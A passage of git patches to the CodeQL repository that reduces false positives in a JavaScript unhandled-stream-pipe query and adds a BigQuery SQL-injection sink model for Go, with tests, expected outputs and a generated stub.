isPipeFollowedByNonStreamProperty(PipeCall pipeCall) { + exists(DataFlow::PropRef propRef | + propRef = pipeResultRef(pipeCall).getAPropertyRead() and + not propRef.getPropertyName() = getStreamPropertyName() + ) +} + +/** + * Holds if the pipe call result is used in a non-stream-like way, + * either by calling non-stream methods or accessing non-stream properties. + */ +predicate isPipeFollowedByNonStreamAccess(PipeCall pipeCall) { + isPipeFollowedByNonStreamMethod(pipeCall) or + isPipeFollowedByNonStreamProperty(pipeCall) +} + /** * Gets a reference to a stream that may be the source of the given pipe call. * Uses type back-tracking to trace stream references in the data flow. @@ -145,6 +179,6 @@ predicate hasErrorHandlerRegistered(PipeCall pipeCall) { from PipeCall pipeCall where not hasErrorHandlerRegistered(pipeCall) and - not isPipeFollowedByNonStreamMethod(pipeCall) + not isPipeFollowedByNonStreamAccess(pipeCall) select pipeCall, "Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped." diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index a26cf2a9342..d6684328ddc 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -11,18 +11,11 @@ | test.js:116:5:116:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:125:5:125:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:171:17:171:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:175:17:175:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:185:5:185:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:190:17:190:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:195:17:195:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:199:5:199:22 | notStream.pipe({}) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:203:5:203:26 | notStre ... ()=>{}) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:207:5:207:31 | getStre ... mber()) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:207:5:207:42 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:207:5:207:53 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:207:5:207:64 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:212:5:212:23 | getStream().pipe(p) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:212:5:212:34 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:212:5:212:45 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:212:5:212:56 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index 1cc320bd00b..f8c5058dc10 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -168,7 +168,7 @@ function test() { } { // Member access on a non-stream after pipe const notStream = getNotAStream(); - const val = notStream.pipe(writable).someMember; // $SPURIOUS:Alert + const val = notStream.pipe(writable).someMember; } { // Member access on a stream after pipe const notStream = getNotAStream(); From d7f86db76c6d0bb86f35c8234f0533f1a8619c15 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 22 May 2025 12:19:05 +0200 Subject: [PATCH 068/271] Enhance PipeCall to exclude non-function and non-object arguments in pipe method detection --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 7 ++++++- .../query-tests/Quality/UnhandledStreamPipe/test.expected | 2 -- .../test/query-tests/Quality/UnhandledStreamPipe/test.js | 4 ++-- 3 files changed, 8 insertions(+), 5 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 8436aa124d0..b2eab9ad62a 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -15,7 +15,12 @@ import javascript * A call to the `pipe` method on a Node.js stream. */ class PipeCall extends DataFlow::MethodCallNode { - PipeCall() { this.getMethodName() = "pipe" and this.getNumArgument() = [1, 2] } + PipeCall() { + this.getMethodName() = "pipe" and + this.getNumArgument() = [1, 2] and + not this.getArgument(0).asExpr() instanceof Function and + not this.getArgument(0).asExpr() instanceof ObjectExpr + } /** Gets the source stream (receiver of the pipe call). */ DataFlow::Node getSourceStream() { result = this.getReceiver() } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index d6684328ddc..8e7c4020abe 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -15,7 +15,5 @@ | test.js:185:5:185:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:190:17:190:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:195:17:195:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:199:5:199:22 | notStream.pipe({}) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:203:5:203:26 | notStre ... ()=>{}) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:207:5:207:64 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:212:5:212:56 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index f8c5058dc10..49f100617c5 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -196,11 +196,11 @@ function test() { } { const notStream = getNotAStream(); - notStream.pipe({}); // $SPURIOUS:Alert + notStream.pipe({}); } { const notStream = getNotAStream(); - notStream.pipe(()=>{}); // $SPURIOUS:Alert + notStream.pipe(()=>{}); } { const plumber = require('gulp-plumber'); From 09220fce845b54d87c2701e7b5edc648c26561b4 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 22 May 2025 12:33:36 +0200 Subject: [PATCH 069/271] Fixed issue where `pipe` calls from `rxjs` package would been identified as `pipe` calls on streams --- javascript/ql/lib/ext/rxjs.model.yml | 7 ++++++ .../ql/src/Quality/UnhandledStreamPipe.ql | 22 +++++++++++++++++-- .../UnhandledStreamPipe/rxjsStreams.js | 4 ++-- .../Quality/UnhandledStreamPipe/test.expected | 2 -- 4 files changed, 29 insertions(+), 6 deletions(-) create mode 100644 javascript/ql/lib/ext/rxjs.model.yml diff --git a/javascript/ql/lib/ext/rxjs.model.yml b/javascript/ql/lib/ext/rxjs.model.yml new file mode 100644 index 00000000000..73c24fd875b --- /dev/null +++ b/javascript/ql/lib/ext/rxjs.model.yml @@ -0,0 +1,7 @@ +extensions: + - addsTo: + pack: codeql/javascript-all + extensible: typeModel + data: + - ["NonNodeStream", "rxjs", "Fuzzy"] + - ["NonNodeStream", "rxjs/operators", "Fuzzy"] diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index b2eab9ad62a..5935129b610 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -19,7 +19,8 @@ class PipeCall extends DataFlow::MethodCallNode { this.getMethodName() = "pipe" and this.getNumArgument() = [1, 2] and not this.getArgument(0).asExpr() instanceof Function and - not this.getArgument(0).asExpr() instanceof ObjectExpr + not this.getArgument(0).asExpr() instanceof ObjectExpr and + not this.getArgument(0).getALocalSource() = getNonNodeJsStreamType() } /** Gets the source stream (receiver of the pipe call). */ @@ -29,6 +30,14 @@ class PipeCall extends DataFlow::MethodCallNode { DataFlow::Node getDestinationStream() { result = this.getArgument(0) } } +/** + * Gets a reference to a value that is known to not be a Node.js stream. + * This is used to exclude pipe calls on non-stream objects from analysis. + */ +DataFlow::Node getNonNodeJsStreamType() { + result = ModelOutput::getATypeNode("NonNodeStream").asSource() +} + /** * Gets the method names used to register event handlers on Node.js streams. * These methods are used to attach handlers for events like `error`. @@ -181,9 +190,18 @@ predicate hasErrorHandlerRegistered(PipeCall pipeCall) { ) } +/** + * Holds if the source or destination of the given pipe call is identified as a non-Node.js stream. + */ +predicate hasNonNodeJsStreamSource(PipeCall pipeCall) { + streamRef(pipeCall) = getNonNodeJsStreamType() or + pipeResultRef(pipeCall) = getNonNodeJsStreamType() +} + from PipeCall pipeCall where not hasErrorHandlerRegistered(pipeCall) and - not isPipeFollowedByNonStreamAccess(pipeCall) + not isPipeFollowedByNonStreamAccess(pipeCall) and + not hasNonNodeJsStreamSource(pipeCall) select pipeCall, "Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped." diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js index a074be1c1a2..0e86442dd91 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js @@ -5,6 +5,6 @@ const { of, from } = rx; const { map, filter } = ops; function f(){ - of(1, 2, 3).pipe(map(x => x * 2)); // $SPURIOUS:Alert - someNonStream().pipe(map(x => x * 2)); // $SPURIOUS:Alert + of(1, 2, 3).pipe(map(x => x * 2)); + someNonStream().pipe(map(x => x * 2)); } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 8e7c4020abe..a0c899f50f5 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -1,5 +1,3 @@ -| rxjsStreams.js:8:3:8:35 | of(1, 2 ... x * 2)) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| rxjsStreams.js:9:3:9:39 | someNon ... x * 2)) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:4:5:4:28 | stream. ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:19:5:19:17 | s2.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:45:5:45:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | From b1048719aa48e9261ed5f077c2eb5598746ec14a Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 22 May 2025 12:42:56 +0200 Subject: [PATCH 070/271] Added `UnhandledStreamPipe` to `javascript-security-and-quality.qls` and `javascript-code-quality.qls` --- .../query-suite/javascript-code-quality.qls.expected | 1 + .../query-suite/javascript-security-and-quality.qls.expected | 1 + 2 files changed, 2 insertions(+) diff --git a/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected b/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected index e4620badfc8..4e1662ae786 100644 --- a/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected +++ b/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected @@ -2,4 +2,5 @@ ql/javascript/ql/src/Declarations/IneffectiveParameterType.ql ql/javascript/ql/src/Expressions/ExprHasNoEffect.ql ql/javascript/ql/src/Expressions/MissingAwait.ql ql/javascript/ql/src/LanguageFeatures/SpuriousArguments.ql +ql/javascript/ql/src/Quality/UnhandledStreamPipe.ql ql/javascript/ql/src/RegExp/RegExpAlwaysMatches.ql diff --git a/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected b/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected index 63f6629f7bf..671b620c77c 100644 --- a/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected +++ b/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected @@ -80,6 +80,7 @@ ql/javascript/ql/src/NodeJS/InvalidExport.ql ql/javascript/ql/src/NodeJS/MissingExports.ql ql/javascript/ql/src/Performance/PolynomialReDoS.ql ql/javascript/ql/src/Performance/ReDoS.ql +ql/javascript/ql/src/Quality/UnhandledStreamPipe.ql ql/javascript/ql/src/React/DirectStateMutation.ql ql/javascript/ql/src/React/InconsistentStateUpdate.ql ql/javascript/ql/src/React/UnsupportedStateUpdateInLifecycleMethod.ql From c0187aff7356f22a65a32857443b5c4957dac8fb Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 22 May 2025 15:15:54 +0100 Subject: [PATCH 071/271] Add model for cloud.google.com/go/bigquery.Client.Query --- go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml diff --git a/go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml b/go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml new file mode 100644 index 00000000000..e2d51e9c6ae --- /dev/null +++ b/go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml @@ -0,0 +1,6 @@ +extensions: + - addsTo: + pack: codeql/go-all + extensible: sinkModel + data: + - ["cloud.google.com/go/bigquery", "Client", True, "Query", "", "", "Argument[0]", "sql-injection", "manual"] From 66bbaf2dc89ed8a63b61201d0a6d364caddcc19a Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 22 May 2025 15:16:12 +0100 Subject: [PATCH 072/271] Add tests for cloud.google.com/go/bigquery.Client.Query --- .../SQL/bigquery/QueryString.expected | 2 + .../go/frameworks/SQL/bigquery/QueryString.ql | 56 + .../frameworks/SQL/bigquery/bigquery.expected | 1 + .../go/frameworks/SQL/bigquery/bigquery.go | 18 + .../go/frameworks/SQL/bigquery/bigquery.ql | 7 + .../semmle/go/frameworks/SQL/bigquery/go.mod | 50 + .../cloud.google.com/go/bigquery/stub.go | 1125 +++++++++++++++++ .../SQL/bigquery/vendor/modules.txt | 129 ++ 8 files changed, 1388 insertions(+) create mode 100644 go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.expected create mode 100644 go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.ql create mode 100644 go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.expected create mode 100644 go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.go create mode 100644 go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.ql create mode 100644 go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/go.mod create mode 100644 go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/cloud.google.com/go/bigquery/stub.go create mode 100644 go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/modules.txt diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.expected b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.expected new file mode 100644 index 00000000000..42831abaf15 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.expected @@ -0,0 +1,2 @@ +invalidModelRow +testFailures diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.ql b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.ql new file mode 100644 index 00000000000..fa869181ed9 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.ql @@ -0,0 +1,56 @@ +import go +import semmle.go.dataflow.ExternalFlow +import ModelValidation +import utils.test.InlineExpectationsTest + +module SqlTest implements TestSig { + string getARelevantTag() { result = "query" } + + predicate hasActualResult(Location location, string element, string tag, string value) { + tag = "query" and + exists(SQL::Query q, SQL::QueryString qs | qs = q.getAQueryString() | + q.getLocation() = location and + element = q.toString() and + value = qs.toString() + ) + } +} + +module QueryString implements TestSig { + string getARelevantTag() { result = "querystring" } + + predicate hasActualResult(Location location, string element, string tag, string value) { + tag = "querystring" and + element = "" and + exists(SQL::QueryString qs | not exists(SQL::Query q | qs = q.getAQueryString()) | + qs.getLocation() = location and + value = qs.toString() + ) + } +} + +module Config implements DataFlow::ConfigSig { + predicate isSource(DataFlow::Node n) { n.asExpr() instanceof StringLit } + + predicate isSink(DataFlow::Node n) { + n = any(DataFlow::CallNode cn | cn.getTarget().getName() = "sink").getAnArgument() + } +} + +module Flow = TaintTracking::Global; + +module TaintFlow implements TestSig { + string getARelevantTag() { result = "flowfrom" } + + predicate hasActualResult(Location location, string element, string tag, string value) { + tag = "flowfrom" and + element = "" and + exists(DataFlow::Node fromNode, DataFlow::Node toNode | + toNode.getLocation() = location and + Flow::flow(fromNode, toNode) and + value = fromNode.asExpr().(StringLit).getValue() + ) + } +} + +import MakeTest> diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.expected b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.expected new file mode 100644 index 00000000000..f0954e9491b --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.expected @@ -0,0 +1 @@ +| bigquery.go:17:15:17:23 | untrusted | cloud.google.com/go/bigquery.Client | Query | diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.go b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.go new file mode 100644 index 00000000000..ae721c3a567 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.go @@ -0,0 +1,18 @@ +package main + +//go:generate depstubber -vendor cloud.google.com/go/bigquery Client + +import ( + "cloud.google.com/go/bigquery" +) + +func getUntrustedString() string { + return "trouble" +} + +func main() { + untrusted := getUntrustedString() + var client *bigquery.Client + + client.Query(untrusted) // $ querystring=untrusted +} diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.ql b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.ql new file mode 100644 index 00000000000..ba7d0de1650 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.ql @@ -0,0 +1,7 @@ +import go + +from SQL::QueryString qs, Function func, string a, string b +where + func.hasQualifiedName(a, b) and + qs = func.getACall().getSyntacticArgument(_) +select qs, a, b diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/go.mod b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/go.mod new file mode 100644 index 00000000000..0211ae17fea --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/go.mod @@ -0,0 +1,50 @@ +module bigquerytest + +go 1.24 + +require cloud.google.com/go/bigquery v1.68.0 + +require ( + cloud.google.com/go v0.121.0 // indirect + cloud.google.com/go/auth v0.16.1 // indirect + cloud.google.com/go/auth/oauth2adapt v0.2.8 // indirect + cloud.google.com/go/compute/metadata v0.6.0 // indirect + cloud.google.com/go/iam v1.5.2 // indirect + github.com/apache/arrow/go/v15 v15.0.2 // indirect + github.com/felixge/httpsnoop v1.0.4 // indirect + github.com/go-logr/logr v1.4.2 // indirect + github.com/go-logr/stdr v1.2.2 // indirect + github.com/goccy/go-json v0.10.2 // indirect + github.com/google/flatbuffers v23.5.26+incompatible // indirect + github.com/google/s2a-go v0.1.9 // indirect + github.com/google/uuid v1.6.0 // indirect + github.com/googleapis/enterprise-certificate-proxy v0.3.6 // indirect + github.com/googleapis/gax-go/v2 v2.14.1 // indirect + github.com/klauspost/compress v1.16.7 // indirect + github.com/klauspost/cpuid/v2 v2.2.5 // indirect + github.com/pierrec/lz4/v4 v4.1.18 // indirect + github.com/zeebo/xxh3 v1.0.2 // indirect + go.opentelemetry.io/auto/sdk v1.1.0 // indirect + go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0 // indirect + go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.60.0 // indirect + go.opentelemetry.io/otel v1.35.0 // indirect + go.opentelemetry.io/otel/metric v1.35.0 // indirect + go.opentelemetry.io/otel/trace v1.35.0 // indirect + golang.org/x/crypto v0.37.0 // indirect + golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56 // indirect + golang.org/x/mod v0.23.0 // indirect + golang.org/x/net v0.39.0 // indirect + golang.org/x/oauth2 v0.29.0 // indirect + golang.org/x/sync v0.14.0 // indirect + golang.org/x/sys v0.32.0 // indirect + golang.org/x/text v0.24.0 // indirect + golang.org/x/time v0.11.0 // indirect + golang.org/x/tools v0.30.0 // indirect + golang.org/x/xerrors v0.0.0-20240903120638-7835f813f4da // indirect + google.golang.org/api v0.231.0 // indirect + google.golang.org/genproto v0.0.0-20250303144028-a0af3efb3deb // indirect + google.golang.org/genproto/googleapis/api v0.0.0-20250428153025-10db94c68c34 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20250428153025-10db94c68c34 // indirect + google.golang.org/grpc v1.72.0 // indirect + google.golang.org/protobuf v1.36.6 // indirect +) diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/cloud.google.com/go/bigquery/stub.go b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/cloud.google.com/go/bigquery/stub.go new file mode 100644 index 00000000000..5f7b3e51f59 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/cloud.google.com/go/bigquery/stub.go @@ -0,0 +1,1125 @@ +// Code generated by depstubber. DO NOT EDIT. +// This is a simple stub for cloud.google.com/go/bigquery, strictly for use in testing. + +// See the LICENSE file for information about the licensing of the original library. +// Source: cloud.google.com/go/bigquery (exports: Client; functions: ) + +// Package bigquery is a stub of cloud.google.com/go/bigquery, generated by depstubber. +package bigquery + +import ( + context "context" + time "time" +) + +type AccessEntry struct { + Role AccessRole + EntityType EntityType + Entity string + View *Table + Routine *Routine + Dataset *DatasetAccessEntry + Condition *Expr +} + +type AccessRole string + +type ArrowIterator interface { + Next() (*ArrowRecordBatch, error) + Schema() Schema + SerializedArrowSchema() []byte +} + +type ArrowRecordBatch struct { + Data []byte + Schema []byte + PartitionID string +} + +func (_ *ArrowRecordBatch) Read(_ []byte) (int, error) { + return 0, nil +} + +type AvroOptions struct { + UseAvroLogicalTypes bool +} + +type BigLakeConfiguration struct { + ConnectionID string + StorageURI string + FileFormat BigLakeFileFormat + TableFormat BigLakeTableFormat +} + +type BigLakeFileFormat string + +type BigLakeTableFormat string + +type CSVOptions struct { + AllowJaggedRows bool + AllowQuotedNewlines bool + Encoding Encoding + FieldDelimiter string + Quote string + ForceZeroQuote bool + SkipLeadingRows int64 + NullMarker string + PreserveASCIIControlCharacters bool +} + +type Client struct { + Location string +} + +func (_ *Client) Close() error { + return nil +} + +func (_ *Client) Dataset(_ string) *Dataset { + return nil +} + +func (_ *Client) DatasetInProject(_ string, _ string) *Dataset { + return nil +} + +func (_ *Client) Datasets(_ context.Context) *DatasetIterator { + return nil +} + +func (_ *Client) DatasetsInProject(_ context.Context, _ string) *DatasetIterator { + return nil +} + +func (_ *Client) EnableStorageReadClient(_ context.Context, _ ...interface{}) error { + return nil +} + +func (_ *Client) JobFromID(_ context.Context, _ string) (*Job, error) { + return nil, nil +} + +func (_ *Client) JobFromIDLocation(_ context.Context, _ string, _ string) (*Job, error) { + return nil, nil +} + +func (_ *Client) JobFromProject(_ context.Context, _ string, _ string, _ string) (*Job, error) { + return nil, nil +} + +func (_ *Client) Jobs(_ context.Context) *JobIterator { + return nil +} + +func (_ *Client) Project() string { + return "" +} + +func (_ *Client) Query(_ string) *Query { + return nil +} + +type CloneDefinition struct { + BaseTableReference *Table + CloneTime time.Time +} + +type Clustering struct { + Fields []string +} + +type ColumnNameCharacterMap string + +type ColumnReference struct { + ReferencingColumn string + ReferencedColumn string +} + +type Compression string + +type ConnectionProperty struct { + Key string + Value string +} + +type Copier struct { + JobIDConfig + CopyConfig +} + +func (_ *Copier) Run(_ context.Context) (*Job, error) { + return nil, nil +} + +type CopyConfig struct { + Srcs []*Table + Dst *Table + CreateDisposition TableCreateDisposition + WriteDisposition TableWriteDisposition + Labels map[string]string + DestinationEncryptionConfig *EncryptionConfig + OperationType TableCopyOperationType + JobTimeout time.Duration + Reservation string +} + +type DataFormat string + +type Dataset struct { + ProjectID string + DatasetID string +} + +func (_ *Dataset) Create(_ context.Context, _ *DatasetMetadata) error { + return nil +} + +func (_ *Dataset) CreateWithOptions(_ context.Context, _ *DatasetMetadata, _ ...DatasetOption) error { + return nil +} + +func (_ *Dataset) Delete(_ context.Context) error { + return nil +} + +func (_ *Dataset) DeleteWithContents(_ context.Context) error { + return nil +} + +func (_ *Dataset) Identifier(_ IdentifierFormat) (string, error) { + return "", nil +} + +func (_ *Dataset) Metadata(_ context.Context) (*DatasetMetadata, error) { + return nil, nil +} + +func (_ *Dataset) MetadataWithOptions(_ context.Context, _ ...DatasetOption) (*DatasetMetadata, error) { + return nil, nil +} + +func (_ *Dataset) Model(_ string) *Model { + return nil +} + +func (_ *Dataset) Models(_ context.Context) *ModelIterator { + return nil +} + +func (_ *Dataset) Routine(_ string) *Routine { + return nil +} + +func (_ *Dataset) Routines(_ context.Context) *RoutineIterator { + return nil +} + +func (_ *Dataset) Table(_ string) *Table { + return nil +} + +func (_ *Dataset) Tables(_ context.Context) *TableIterator { + return nil +} + +func (_ *Dataset) Update(_ context.Context, _ DatasetMetadataToUpdate, _ string) (*DatasetMetadata, error) { + return nil, nil +} + +func (_ *Dataset) UpdateWithOptions(_ context.Context, _ DatasetMetadataToUpdate, _ string, _ ...DatasetOption) (*DatasetMetadata, error) { + return nil, nil +} + +type DatasetAccessEntry struct { + Dataset *Dataset + TargetTypes []string +} + +type DatasetIterator struct { + ListHidden bool + Filter string + ProjectID string +} + +func (_ *DatasetIterator) Next() (*Dataset, error) { + return nil, nil +} + +func (_ *DatasetIterator) PageInfo() interface{} { + return nil +} + +type DatasetMetadata struct { + Name string + Description string + Location string + DefaultTableExpiration time.Duration + Labels map[string]string + Access []*AccessEntry + DefaultEncryptionConfig *EncryptionConfig + DefaultPartitionExpiration time.Duration + DefaultCollation string + ExternalDatasetReference *ExternalDatasetReference + MaxTimeTravel time.Duration + StorageBillingModel string + CreationTime time.Time + LastModifiedTime time.Time + FullID string + Tags []*DatasetTag + IsCaseInsensitive bool + ETag string +} + +type DatasetMetadataToUpdate struct { + Description interface{} + Name interface{} + DefaultTableExpiration interface{} + DefaultPartitionExpiration interface{} + DefaultEncryptionConfig *EncryptionConfig + DefaultCollation interface{} + ExternalDatasetReference *ExternalDatasetReference + MaxTimeTravel interface{} + StorageBillingModel interface{} + Access []*AccessEntry + IsCaseInsensitive interface{} +} + +func (_ *DatasetMetadataToUpdate) DeleteLabel(_ string) {} + +func (_ *DatasetMetadataToUpdate) SetLabel(_ string, _ string) {} + +type DatasetOption func(interface{}) + +type DatasetTag struct { + TagKey string + TagValue string +} + +type DecimalTargetType string + +type Encoding string + +type EncryptionConfig struct { + KMSKeyName string +} + +type EntityType int + +type Error struct { + Location string + Message string + Reason string +} + +func (_ Error) Error() string { + return "" +} + +type Expr struct { + Expression string + Title string + Description string + Location string +} + +type ExternalData interface{} + +type ExternalDataConfig struct { + SourceFormat DataFormat + SourceURIs []string + Schema Schema + AutoDetect bool + Compression Compression + IgnoreUnknownValues bool + MaxBadRecords int64 + Options ExternalDataConfigOptions + HivePartitioningOptions *HivePartitioningOptions + DecimalTargetTypes []DecimalTargetType + ConnectionID string + ReferenceFileSchemaURI string + MetadataCacheMode MetadataCacheMode +} + +type ExternalDataConfigOptions interface{} + +type ExternalDatasetReference struct { + Connection string + ExternalSource string +} + +type ExtractConfig struct { + Src *Table + SrcModel *Model + Dst *GCSReference + DisableHeader bool + Labels map[string]string + UseAvroLogicalTypes bool + JobTimeout time.Duration + Reservation string +} + +type Extractor struct { + JobIDConfig + ExtractConfig +} + +func (_ *Extractor) Run(_ context.Context) (*Job, error) { + return nil, nil +} + +type FieldSchema struct { + Name string + Description string + Repeated bool + Required bool + Type FieldType + PolicyTags *PolicyTagList + Schema Schema + MaxLength int64 + Precision int64 + Scale int64 + DefaultValueExpression string + Collation string + RangeElementType *RangeElementType + RoundingMode RoundingMode +} + +type FieldType string + +type FileConfig 